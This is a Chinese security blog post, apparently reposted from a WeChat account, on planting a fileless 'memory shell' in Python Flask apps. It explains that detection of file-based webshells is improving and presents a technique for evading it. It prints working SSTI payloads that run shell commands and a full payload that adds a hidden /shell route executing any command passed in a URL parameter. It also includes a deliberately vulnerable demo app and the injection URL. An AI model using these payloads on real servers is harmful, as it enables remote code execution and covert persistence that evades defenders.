python flask 内存马

admin 2021年4月4日09:45:31评论607 views字数 2467阅读8分13秒阅读模式

今年公众号的第3篇分享文章

全文共:1279 字   预计阅读时间:5 分钟

写在前面

python flask 内存马

随着HW、攻防对抗的强度越来越高,各大厂商对于webshell的检测技术愈发成熟,对于攻击方来说,传统的文件落地webshell的生存空间越来越小,无文件webshell已经逐步成为新的研究趋势。

我在去年对tomcat和php的一些内存马进行了研究,若有兴趣可见:


https://github.com/jweny/MemShellDemo


今年计划扩展一下java中间件的范围,如weblogic、jboss、jetty等。还有就是尝试下python、go语言植入内存马的可能性。

这两天发现icehexman师傅(膜膜膜!)已经把基于ssti的(flask内存马demo)[GitHub - iceyhexman/flask_memory_shell: Flask 内存马]放出来了,我就在这里稍微分析下。


flask route


内存马主要作为web层面的攻击,所以我们要着重关注下语言层/框架层的特性。

类比tomcat注册路由的机制,如filter,如果想实现python内存马,也应该研究下flask是否能动态注册路由。

flask常规注册的方式为使用装饰器@app.route() 。而实际工作的函数为装饰器里调用的方法self.add_url_rule() 。

add_url_rule需要三个参数:

  1. url。和装饰器app.route() 的第一个参数一样,必须以/ 开始。

  2. endpoint。就是在使用url_for()进行反转的时候,这个里面传入的第一个参数就是这个endpoint对应的值。这个值也可以不指定,默认值为函数名。

  3. view_func:方法。只需要写方法名(也可以为匿名参数),如果使用方法名不要加括号,加括号表示将函数的返回值传给了view_func参数了,程序就会直接报错。


flask context

添加路由解决了,想实现webshell,关键点在于view_func 。view_func 可以采用匿名函数定义逻辑,该方法要实现捕获参数值、执行命令、响应。

简单说下flask的工作原理:当一个请求进入Flask,首先会实例化一个Request Context,这个上下文封装了请求的信息在Request中,并将这个上下文推入到一个栈_request_ctx_stack 的结构中,也就是说获取当前的请求上下文等同于获取_request_ctx_stack 的栈顶元素_request_ctx_stack.top 。


flask 内置函数

对于python ssti不熟悉的朋友可以参考下 https://xz.aliyun.com/t/8029

通过 {{...}} 我们可以执行表达式,但是命名空间是受限的,没有builtins,所以eval、popen这些操作是不能使用的。但我们可以通过任意一个函数的func_globals而得到他们的命名空间,而得到builtins。

Flask 内置了两个函数url_for 和 get_flashed_messages。也就是说想构造命令执行的话,可以使用:

{{url_for.__globals__['__builtins__'].__import__('os').system('ls')}}{{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")}}



构造内存马

经过以上的分析,内存马也就可以构造出来了。

url_for.__globals__['__builtins__']['eval'](  "app.add_url_rule('/shell', 'shell', lambda:__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read())",{'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']})


这里注册了一个/shell的路由,路由对应的逻辑为执行cmd参数值命令。


看下效果

先起一个带有ssti的flask:

from flask import Flask,requestfrom flask import render_template_stringapp = Flask(__name__)
@app.route('/')def hello_world():return 'Hello World'

@app.route('/test',methods=['GET', 'POST'])def test():template = '''<div class="center-content error"><h1>Oops! That page doesn't exist.</h1><h3>%s</h3></div>''' %(request.values.get('param'))
return render_template_string(template)

if __name__ == '__main__':app.run(port=8000)


插入路由:

http://127.0.0.1:8000/test?param={{url_for.__globals__[%27__builtins__%27][%27eval%27](


python flask 内存马

访问植入的shell:


python flask 内存马

参考

https://github.com/iceyhexman/flask_memory_shell


https://segmentfault.com/a/1190000022175553


https://xz.aliyun.com/t/8029



本文始发于微信公众号(零组攻防实验室):python flask 内存马

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年4月4日09:45:31
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   python flask 内存马https://cn-sec.com/archives/318731.html

发表评论

匿名网友 填写信息